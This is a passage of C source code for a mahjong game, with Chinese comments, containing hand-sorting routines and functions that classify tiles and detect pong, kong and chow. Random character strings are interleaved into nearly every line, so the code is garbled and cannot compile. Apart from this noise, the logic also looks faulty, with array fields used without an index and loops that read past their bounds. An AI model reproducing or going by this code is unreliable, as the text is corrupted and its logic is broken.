" c' m. W2 g2 P/ T1 E1 Relse
, A) [: J! o0 o9 f! Iif(computer.pp[n].number==computer.pp[j+1].number)
! f: k- s9 B% y1 N4 c' rif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour); `8 D' U/ l/ p0 j2 _# L, M- P* j0 Z
{9 P1 Y' W5 v+ Y3 s5 i4 W
lingshi=computer.pp[n].k;) d* D; D7 V( ~) |
computer.pp[n].k=computer.pp[j+1].k;' M! e! ~* K8 a6 `
computer.pp[j+1].k=lingshi;
7 L" W, I, f( D8 i" l, j% w; ku=computer.pp[n].oneorfour;' T/ u1 u# U' L' R
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;* h( y; Y  @& @$ S7 c  D
computer.pp[j+1].oneorfour=u;
" T8 r) U! G2 p/ t# pu=computer.pp[n].number;& a9 A! W* b' H8 e, b: U( [
computer.pp[n].number=computer.pp[j+1].number;$ S5 L' ^" @* o! C% c
computer.pp[j+1].number=u;9 L$ b- `' z9 y: X" T
}
/ M4 b! ~: Y/ ]}
- p- R5 d2 m8 b9 u}$ a4 @: H, i8 p- k4 {2 ~5 B0 i4 w
void melipai()
6 f" ]7 S1 b  d% F- M& f{ int n,j,u;6 N& |, g% p& p( `7 [; E
int *lingshi;) y: s" x3 T' m; p5 ]. J
for(n=0;n&lt;me.m;n++)0 z* i; m+ L" S4 X
for(j=n;j&lt;me.m;j++)3 P) A$ k. x; a* R& }4 T6 D
{- o% V6 E2 i3 _+ k$ d4 }( `
if(me.pp[n].number&gt;me.pp[j+1].number)/ M3 ?  f4 \. B" k/ g
{
2 L2 K7 t$ N0 \% I% D2 a% Tlingshi=me.pp[n].k;* I& s4 }4 k" z& E7 i
me.pp[n].k=me.pp[j+1].k;3 g. O1 C! N. c+ v) `9 ^
me.pp[j+1].k=lingshi;
! E5 j. |/ D3 }" E; ~u=me.pp[n].oneorfour;1 D4 j) e9 o$ {+ s$ k( ^
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
1 p$ D$ ~2 S$ J8 `# {( g8 a  U2 qme.pp[j+1].oneorfour=u;2 v# M, Q, S% B
u=me.pp[n].number;7 T) _' \# ]0 p7 Y' U
me.pp[n].number=me.pp[j+1].number;
9 ^# ^5 r; m0 ?( f: |( K# ume.pp[j+1].number=u;+ N$ g/ z5 u- |7 K0 o8 Q
}$ J% f1 s( G- X: M
else
$ E3 q( d" D7 q4 L1 p+ F7 g+ N6 V8 ^0 kif(me.pp[n].number==me.pp[j+1].number)
# }) ?% I% y0 `& Dif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)9 U3 r! \  Z( r7 l4 C
{
& T$ G% \; f1 G0 k: A' slingshi=me.pp[n].k;
* J( k& a% W4 x6 X* P: o3 E& Wme.pp[n].k=me.pp[j+1].k;
$ `6 Y- D& F9 Mme.pp[j+1].k=lingshi;$ q& Y4 U5 {; B4 t' c% z
u=me.pp[n].oneorfour;  {# S1 u* p7 I( U) x; f, q, L# T
me.pp[n].oneorfour=me.pp[j+1].oneorfour;0 e6 M/ w2 w+ L! B1 E
me.pp[j+1].oneorfour=u;  f" g+ u% L6 p9 {6 m" L
u=me.pp[n].number;
; L& y5 E; L' k; i0 Y0 I3 V% z7 Yme.pp[n].number=me.pp[j+1].number;
8 Y) S/ k5 S2 T4 cme.pp[j+1].number=u;; _, n+ T- C  p
}2 {1 i/ ~8 q  q" W. Q3 p
}
6 b: h  z( |  t) V6 Z}# q( X' w. Y4 G; n2 H0 X
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/7 n0 E. t1 K' f/ U- A& i0 ]- ?, @
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;0 S5 K, f% [6 M" @7 @" E
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0): U9 h2 c  \  [) |6 v
{
  L$ }* {* C0 X( s" n8 @! [1 Zlogo=1;
8 y; W* _# M+ R7 L; ~if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
  T+ {. `/ Q$ Z; F# Tlogoo=1;
" N% m% Y6 n2 W) Gelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)% F: d0 B& V8 W. Q
logoo=2;) K) H' }5 Z/ `4 ~0 Z1 ]" N
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
' P7 T4 {0 q: `4 T& B) mlogoo=3;
1 G  q/ b' ]5 p! Gelse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)6 @; A$ `; B: ~
logoo=4;
2 ]3 W. u( t+ \5 {. Q: @; felse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)1 m+ D  J5 ~+ x! z$ M% X/ v$ H- w
logoo=5;0 C$ R7 p+ f: C5 q9 K0 u( M7 E0 i- C
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
9 _' S/ d" `# n6 a' Q- vlogoo=6;
4 j- R  k& J; `: Y4 \else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)" I1 U- c4 K6 |) q! q
logoo=7;
# Y/ H, ?/ l( \+ c3 l: Helse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
# }; _2 _( U$ S. f. X7 D2 Nlogoo=8;
3 }& Y% V6 L; J) ^" @/ B% _  Welse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)1 \! T  i6 r( W- r
logoo=9;
) h) _: |' G) i' K9 C}/ a' x1 _5 f% W7 V6 X- l, x6 g  D
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)6 B$ k- u! h3 N" w6 u
{0 D! ?( f! j7 `# s, {3 U1 D
logo=2;2 A: i( ~0 k# k1 P; W9 R/ U
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)1 [1 j' v2 G  Q1 h8 t) {; ^
logoo=1;
1 p: Y% x( ?+ [$ r) s1 |& celse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
" F/ e3 r$ d: E, N* U0 }logoo=2;- U: z( o0 b3 q9 |% C0 O  ?
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44), G6 {! L- q+ d
logoo=3;# |; E) A  @  a
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
% v; j! J8 J3 q# j8 }5 Z- k& rlogoo=4;
( U8 R+ w! f# w5 ]- G9 ~  M4 |! xelse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
& Q, K( }  r, Y  U. ]4 Ologoo=5;) q4 {7 Y" G8 c1 N; k
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)3 z+ Z$ w! |0 r& _9 P9 q
logoo=6;
( D$ H# X6 P3 p3 Gelse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
: a5 w" n& w1 X9 glogoo=7;9 L: B9 o, d; O$ p4 }
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
2 S* {' G5 F: ~) c. r5 i" ulogoo=8;
( O9 J+ f. l1 Belse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68); G( F7 W) Q: B/ j5 f. e( i
logoo=9;
+ }  f( X) z  b$ g7 M}2 Y! I/ R- s- _- F
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)8 p3 H, _! |* M: a8 _
{
% k' }9 }7 g, g- V% w! qlogo=3;
+ s: E( ~" Y% m3 ?1 Mif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
3 B+ S# Y( `# R8 A( Clogoo=1;
- _" m8 S9 ~1 r( E9 O% Eelse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)6 E: z) U+ T7 q! f
logoo=2;
& R, ]; F$ a& X% n4 relse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)( u" m6 j0 x5 h/ Q1 B* C( ]* q1 O
logoo=3;
6 i, u* Z+ R& s* _4 f1 L3 Yelse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
8 M9 r/ q. j$ M/ U9 Z: ulogoo=4;5 a" q0 i1 f5 H0 U  |6 j$ }1 r4 r
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
) b3 a/ z& s% N7 z) D+ ^logoo=5;( s8 m6 a7 V( P# j/ F) n
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
0 W, j* ~7 m: ~& ologoo=6;5 v8 p8 B; `6 p/ T2 {/ d! z% Z
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
& ?4 `# G$ e9 @logoo=7;
4 c8 E7 a6 s6 qelse if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
( h7 r9 i, F% D; S/ o! H/ {# Llogoo=8;
0 B) k* C. c8 celse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)* G. N$ E4 M) y5 A# [' r% b  n
logoo=9;, J+ O8 L8 _1 }! u3 A* }
}  e1 \4 y6 S: L- f7 f* |6 l3 F
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
' K; V, P; E( b+ B1 x" I2 o{
1 u2 W# ], \! g; Glogo=4;8 t: S$ R3 l7 s+ L- }  B$ \, Z
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
1 e+ v% L8 o" flogoo=1;
5 h1 f! {8 e" }3 Aelse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
( B& \$ U( ~% ?+ c/ Jlogoo=2;
' r. F* D3 `0 }) B5 Gelse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)( j1 \9 t0 Q: ^
logoo=3;. v* i$ d. V! Q) y! ~2 B" J
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
+ [! Q9 _  [9 x, h6 V, Z1 t* R0 Blogoo=4;
' b& Z8 m. L0 e0 d* g- T9 k2 V) z2 pelse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
. B2 Q* g1 w2 u3 V: D% Ylogoo=5;+ \& A2 x3 h# [- L' |( }
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
2 k$ U+ F$ Q8 |logoo=6;
& N$ M. q$ b% V+ ]  t# K. O! jelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
( J  Q/ [9 h$ L0 d8 P% b5 n0 Mlogoo=7;
2 w/ c: t3 d! R$ A: |3 K% u}/ p9 l9 a  A' X  z" _2 g! j0 X
while(b&lt;=computer.m)
- A. W3 g2 F( [{* T9 M0 \7 d+ h9 b- r- F
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/0 O! l. W  S2 D" ]' [
{; M! g! E; q+ x7 P* x, }
lg=1;
' w0 J; H* M. g" P! A* U$ Ocomputer.pp.d[0]=1;
( q# ]6 J0 m- s. dif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0); H7 @% r0 x2 P3 W
{
# Q+ L9 o+ m7 a% I$ \lgg=1;" n2 e! [% _- \
computer.pp.d[1]=1;* z" B; f8 H: R" n& f$ K3 V6 b
}9 \, U% r+ N: T! z" j4 Y: E  d
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
/ H8 b. u$ g- z5 j2 [# Q{
. ?( J3 _6 j. U: ]+ }' u. U9 nlgg=2;7 n% I( i2 H( F  v
computer.pp.d[1]=2;
& ^% w4 j- `, o}8 q0 g+ _2 S# ?& o/ O+ D) N
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)6 G& a) M; C. u) l/ x5 K
{# [* V# P. Y& A" v
lgg=3;
: V! a. `+ K! g& w" e, n/ [" Wcomputer.pp.d[1]=3;  Q, l4 P9 f; ~( }" c: L6 P( ?$ D7 p
}
0 I1 W# o  {: L, P$ o0 S) Belse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)8 V( r* N: {& G! g
{
3 z, _1 Q' h2 n4 Z( H& {7 o" clgg=4;
. |7 E; i7 [5 Mcomputer.pp.d[1]=4;" g, V8 r. z( w0 n+ ^- a% ~
}
8 e8 M# |7 v& S# w% D/ o( eelse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16): Z1 Z0 i5 n3 L. i; K9 L
{+ K3 G$ Q0 C- V3 }  |2 D' e* F
lgg=5;$ W2 t/ \& H% E1 ^! ]; J
computer.pp.d[1]=5;1 P% g# x5 q( R1 W7 R" r) h7 p
}
2 M. U0 P. @$ Q% ~% Y) f8 telse if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)2 O7 k; k3 q: f8 N4 [8 |" @! K, g
{! S8 I. d; Y! [3 w
lgg=6;
! v& T& Z, W2 W* q  `computer.pp.d[1]=6;
! D3 }- T) M* t}
! x( b6 G, W% U1 p& oelse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)3 D1 a8 ~! z1 B1 L* ~
{
/ J2 L9 L; o, N2 `1 P3 T7 |; D* {- clgg=7;
7 d, W; Z6 ?- Y+ c/ p% t# c  Lcomputer.pp.d[1]=7;
! A7 P: |9 o( e9 ?' K: o}
" n/ [$ N7 g% @1 F: q# v( ^else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
, u: m3 @8 k; ~* }8 g* U, u{
( j# Q6 K8 t4 d$ ]2 ]( ylgg=8;
. [/ T3 \# ~8 C+ b  `! ~computer.pp.d[1]=8;
( ]1 ]8 f2 b3 G5 L' b6 R}
9 C4 X4 ]% q, o) _# f8 Belse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)8 y2 _6 O+ d: M' C; D- A4 Y* k
{
  R3 k; J, u; ~* A, \2 klgg=9;/ B9 K7 J) g) B5 E% u
computer.pp.d[1]=9;1 Y, j! Z. S, n/ P' s' Y
}- O+ l+ I2 f- y2 J+ P
}" M- Q* N: E# J$ X0 V9 B- e
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36); A4 L7 x6 v. j3 F. l7 P
{5 G4 p9 Z: p* e8 h+ s/ J0 f
lg=2;
! C0 @9 J% G) fcomputer.pp.d[0]=2;* C+ I# i! b' h3 ~, E
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
: s* X4 h4 H7 ^' S{
- S& G! q* `! z, P$ v3 {% Jlgg=1;' a; J$ X4 X7 |; v. o1 e
computer.pp.d[1]=1;7 l# W9 d0 [, P! A: u
}7 Q) N( }8 J1 z2 Q
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)$ Y, \4 ^. p3 H1 v: J
{; Q! e6 `! j' }
lgg=2;
4 Q6 y% {4 B2 {3 Q* I+ u* lcomputer.pp.d[1]=2;
* ~- r2 F7 Q$ C3 U- `}
' k  l8 U5 J4 p( selse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
& a) A+ ?2 p1 R9 b, b$ ^3 O{
' O7 O: j# P; B6 S" algg=3;
4 L" y; D9 S( Pcomputer.pp.d[1]=3;
+ l$ t" E% ~1 ]7 q( L4 [5 T0 Y}
, I2 u0 J) ^, Q1 c. W& {# belse if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48); x( u4 p1 N. S* n+ Q' ~
{
6 j: @$ R: Q8 Mlgg=4;  B( J! L; b* S' n& U: d
computer.pp.d[1]=4;
3 u! \. E1 j+ G+ K}. ^& M1 A9 i& t* _6 ~
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
3 P& [8 ?* B1 K! K  Z* F" {{
! Z0 j( M3 l' S+ g, ]lgg=5;2 U4 M6 Q, q& O% B5 T8 K
computer.pp.d[1]=5;
" `( H1 X7 b4 h' Y% p}
/ c* y6 ^* J5 g6 `' T* Ielse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)8 J1 `, s0 D; [' X
{
9 T* E% [1 _( Q: j, D6 Clgg=6;
3 \2 I4 b! f6 d2 Wcomputer.pp.d[1]=6;
% C* ^2 M* U8 x5 B2 `}
+ U# h  X3 n, C9 J/ Q1 h2 L) lelse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)( t  O% o; Y' G3 v+ ~0 Z! x
{0 V1 Q# z: H3 t
lgg=7;
  w  ?5 e% n7 @computer.pp.d[1]=7;2 R- ]) a# M, m1 F* a2 s
}
& V( ]7 U+ w1 v0 Telse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)0 b- F, A/ E4 e8 ~- U; K
{+ g& L: b0 k, a' f
lgg=8;$ U+ J% m' Q9 h( Q
computer.pp.d[1]=8;
+ k! M+ d  {. H3 B( o, L. T: v9 E& t}
: {' d% t7 z2 Xelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
" X" m' X7 F; _5 e6 R{
6 C& l, N$ }, Ilgg=9;  I$ y" y2 `- F2 A- A
computer.pp.d[1]=9;
# x+ w  ?4 ~5 E}
+ @' A( J7 U4 q0 z8 x}
) F8 u8 I. C2 lelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)- O# l( @5 o/ O: B3 F4 X
{
" X8 Z: d" T; ?; l8 T3 hlg=3;
, ^6 P6 `( P9 U4 L, u& {: l* V5 {# T  c$ mcomputer.pp.d[0]=3;0 t  m5 d& k! n; ~( m. S
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)& \3 g1 ]' q8 I9 `- @) R9 F& }
{
+ @* {% L0 a% N$ A" s/ }lgg=1;! ?/ Q& b+ Y9 D% u4 I& H# d" P
computer.pp.d[1]=1;
% Y& Z5 x8 j" T" Y, I3 k& E}
5 r$ R. _0 ?* kelse if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
% ^9 U6 t+ f/ p) c0 V{0 e% ~+ k; x) t
lgg=2;
4 n+ ~# a- u$ E7 Ncomputer.pp.d[1]=2;* h- y' h( n9 f8 R
}: S  @! x' }" X
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80), r" B9 ?* h- t8 t
{
  `, j- X$ x) Flgg=3;
+ R1 j. g; }( v# j! Ucomputer.pp.d[1]=3;( `( B& D; z+ P
}8 S$ k! K1 C- q4 y
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
0 t' Q" \9 h% V3 K9 J% J0 U{
4 z- V4 o0 C; ?4 {5 K) Dlgg=4;
) \1 A) Z+ C2 m; F  h% qcomputer.pp.d[1]=4;
8 y( M  N# S- j. Z3 ]}+ g. _0 ]4 J) l0 Q
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
! Y8 b, q4 A( r, t! @6 m1 o{
8 I: e, D" M# f7 w5 jlgg=5;
2 u3 ]1 A9 W7 `( N- Icomputer.pp.d[1]=5;
' @" }. h" ^7 K' \/ N& P4 g}9 f! s  P6 P" n9 E
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)) N: b8 F- f) _, S3 _, Q
{$ m' Z$ w7 D. o$ B1 F/ `
lgg=6;; J' }6 {9 w6 M
computer.pp.d[1]=6;5 C3 Q1 M3 _* L7 W% }
}
$ J6 O6 B& d; T+ Ielse if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)2 ]2 @/ f) i2 W4 J$ i: S
{. h' L2 n1 E" Y# L
lgg=7;3 @3 X9 \9 |2 F4 U& s0 u/ N0 U
computer.pp.d[1]=7;
6 d4 x1 O/ Y; V2 }}
* W% E) G, g7 T* r: N) K& Celse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
  K+ M& `5 }7 v, [1 t6 Z{
' Z% H  l; j# F8 T, N; n$ Y4 plgg=8;
/ t! e+ p2 O$ ]computer.pp.d[1]=8;
* L3 F1 M$ a1 {" [/ q2 u1 I8 _}
7 M& V0 v: {  {# ~else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
) O* L3 C& J7 \& E8 J{
* c& V9 h1 V# [. Xlgg=9;
9 O" x6 U  Y, ?: {& e7 O8 G8 Bcomputer.pp.d[1]=9;: S7 C/ L4 I/ y
}, o5 ^- I% J. T: @2 w& ?" G
}& L; T3 V' g" T0 E5 j
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)3 E" ^! l# f0 q$ L  k
{
* n! I. Q5 R! `1 ^lg=4;/ L  f# K0 ^! z& m& o
computer.pp.d[0]=4;! U; w$ z! N" d0 m
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
( O- p+ Q' ], W2 a- L! v{
, E  L: n1 O/ e! y$ G1 B. `2 Ilgg=1;
6 {# b' e9 Z9 a' i2 N3 Ocomputer.pp.d[1]=1;
+ R5 K9 l# h: _2 Z& \. |# `}
% y  k! i+ ~3 E! t& R+ F  Lelse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
9 ^& i" L9 b8 Z{# v/ V! ~5 H2 o9 g
lgg=2;
* }3 r9 a8 k7 s* [# Scomputer.pp.d[1]=2;6 n* t+ d% O' p4 ~7 u  h  W% b
}
6 i' s. A1 n' X* M! X: F5 {& Pelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
0 M- G& D' K( o1 m{
) A2 t3 b; P0 o% N' W/ ?lgg=3;( G( @2 x' B; a3 x8 I/ o
computer.pp.d[1]=3;
" E6 T* _: n- p6 Y}' y" }8 i7 o& l, g' L# C7 l
else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)* K! Z/ Y% S- Q; J6 L8 C8 w( j  L' `& ]
{
2 _4 ?1 U* T: j8 i: Ilgg=4;
9 \' l# |+ Q) v  C8 d/ @4 t# Ncomputer.pp.d[1]=4;- O# C- E* m7 L9 K! p& ?
}/ Z3 Z( O- ], v; @% H4 T
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)* Q& R) J/ w+ x. n: w1 R2 Y7 W7 b
{
1 S: ]# v; H- [& z$ [0 Slgg=5;% n0 m6 \! L, }( m
computer.pp.d[1]=5;) q& G5 E! e1 h5 [8 {5 U4 B
}4 u1 R+ _: L, j
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)+ P  D* d0 I" I4 u+ t+ e
{+ X8 [% A4 \; [) y- b
lgg=6;9 w2 q+ ?7 z# P
computer.pp.d[1]=6;) e" a; C1 Y/ `
}8 s. r; j4 {/ e- B# b
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)- f# F0 i% c; b) A
{
2 r: |5 V9 `6 }: hlgg=7;  Q3 X  j5 q' z0 o
computer.pp.d[1]=7;1 |0 [- e/ A. o% a; B8 z2 ?! K
}
8 Q. i- a- y! l; ~9 z' U9 U}! p0 ]3 K+ Y5 \; r$ n6 T$ T) D

7 k' g; m& m! Q/ ?8 r+ g, fif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/% [9 E# p, t4 m; X/ f" Y
if(logoo==lgg)
* j0 w0 ~7 X& a# k% ~7 L) Hpg++;5 ]+ v" T2 J# a, p
ch.lg=lg; /*保存电脑手里的每张牌的信息*/9 y& N! @7 ?  W: y$ C
ch.lgg=lgg;$ q, [0 L4 N$ @. ]# d8 g
lg=0;
8 z2 t6 @) b  p9 X2 _+ olgg=0;
) H9 i3 z7 G3 s$ I0 U1 [b++;  J' f5 Q8 M" `% \; W' C2 z
}" j' w! b: N8 T% M/ }6 m$ B8 H' w8 \+ Z3 K
if(pg==2) /*乓*/, E: ]6 y1 P1 E# L: G2 a) g
{
& g  O6 z& u1 s7 _* k2 s$ t5 U6 _5 l. o' n" x- ?
sing=1;
% a8 k% Q. O- m( n* {4 F4 ]b=computer.m;
  j1 z+ S  h# C- |" U5 q0 ^; Fwhile(b!=-1)
$ s9 B6 m) j1 Z9 d, V7 y. S{: T4 ]- x* c# y3 v- @5 C
if(strcmp(me.pp[c].k,computer.pp.k)==0)* j; \# x* G0 F) a$ b0 ]( z: k; ~
computer.pp.p=1;4 X: V, T" ^1 j: R

9 Q( ]& F+ E: e6 o* Wb--;
* h6 `8 z; p9 z) S' n5 S}( X1 W% P; H5 P  T& I
}
8 N7 T* e' m2 o/ u9 ?3 Vif(pg==3) /*杠*/! K; X2 H" Q8 j5 w" g
{0 ~4 Z7 ?# N: R$ ^/ A0 m0 q

9 R! Z/ x+ i+ x4 L0 V7 y  @! W! J" osing=2;
2 S. p7 H- X9 H. a" A3 hb=computer.m;
0 Q1 |( Y: x  b' Z) p, ^' Swhile(b!=-1)
6 ]8 G9 [7 y# ^1 m, p! w" d{+ c: J& N+ B( P* l( |; C* {* M
if(strcmp(me.pp[c].k,computer.pp.k)==0), ^; x8 U! A- a7 S& c# {
computer.pp.g=1;
) W* D2 i7 u, Pb--;
5 G) h! v% {/ _}7 O# w; o6 f3 g/ T
}
# I8 |- K% F4 Z* j! W) [( [0 ]f=0;
' h3 Q* [, C& ^- W; Twhile(f&lt;computer.m) /*吃的判断*/5 C: A% D2 Z! g0 e3 O# A
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
) x! C5 J/ ?/ O8 J{
& ?' m4 Z0 X2 v, Iif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
  b: l1 r$ a, `+ r6 I' tif(ch[f].lgg-logoo==1)
  M, C) ?# i0 ]" V) o3 m{
% K2 U3 W. a' g+ v/ q4 t0 f0 Wgp++;# h0 D; e+ [  B0 Y7 h. M9 W
computer.pp[f].c=1;
( G6 q8 J. g4 M4 Ycomputer.pp[f+1].c=1;
  s; D+ R, d0 M( A- Y0 z}
. `4 [; G9 U- A8 m% [& b" l/ @if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
1 i9 a+ t+ M+ p* }$ @* F/ uif(ch[f+1].lgg-logoo==-1)& y0 W+ |1 l  k$ U6 O% p* |
{5 Q& `5 J# _) X6 y0 E
gp++;
- p/ r& ^9 H: \- y. U5 mcomputer.pp[f].c=1;
- l2 F; j/ @5 W3 u7 N  x# X- Lcomputer.pp[f+1].c=1;
! T  K+ L, i. m/ o# A}
8 P, X7 p1 \/ A- e0 Oif(ch[f].lgg-logoo==-1) /*中吃*/
& ]1 y% V# U$ o3 M& C$ t( cif(ch[f+1].lgg-logoo==1)0 r6 R% W8 M1 v
{, Z5 Q! N# d* N: P- `# s5 i' H+ \6 Z
gp++;
3 t  R! Z) Z6 y1 A4 K7 jcomputer.pp[f].c=1;
% c6 C8 ]7 Z+ r; K3 p3 Lcomputer.pp[f+1].c=1;
6 W; N4 f$ ?# m) ]}6 R, U# }# v1 G9 j3 a; \5 m
if(gp==1)* ~  w. c3 D  e( u  H5 X
break;
' H! n/ x5 R7 s. C}
8 l' k" t; K' a+ }$ v. g2 t; Ff++;
: T5 R8 {# [& j% i2 f8 D}
, Y0 F& l6 A* Kif(gp==1)
0 ~- i; D/ f" E' p0 t0 @{sing=7;/ `! U+ h4 \1 g# y* f3 R2 V) ~  Y

! }6 N+ K+ q7 g% U5 ?0 j  x}
) q0 n" _& R& B/ opg=0;3 p: }" B8 S* r+ E7 c
gp=0;
$ u9 p4 N7 g: n  i6 T. eb=0;( [+ K9 l8 g% D1 m3 ?9 M! H
}# h" W) h3 T0 B# l5 E
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
, B/ s  J- B3 @0 l{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
+ U  F) H" s" U- N3 h9 V  gif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
1 E( u) j6 x! w3 H/ {+ h{7 s* |2 b8 D3 b2 b1 M6 ^% S
logo=1;
; m# w& n! t+ Q' a3 v& R7 Tif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)0 {; |% E& e' j9 `; Q7 ^! M
logoo=1;
( X6 v: M% X4 S4 xelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)# b% \* ?7 c: g/ ]
logoo=2;
; e* v4 }8 z' ~( o/ O: Y" ~else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
. u5 X7 ]  x) q( p3 S  K$ R# Ulogoo=3;
$ Y. b6 ^) o" w) g4 Velse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
- p4 v! Q9 }% @1 L, T/ {0 N' ?4 Klogoo=4;+ O$ {: p0 P; V0 E1 W3 B7 T& g3 h
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
; ?4 U% y! _5 klogoo=5;
! K0 t  w: h5 R0 _( H$ K1 p* `* _else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
6 k. V7 u9 C7 R+ k5 J, C" glogoo=6;. @2 O; B, Y% O2 ?* v/ ~
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24); w. c4 x, ]1 }5 F$ S/ B- l
logoo=7;9 h) q- h2 w+ [8 `7 [
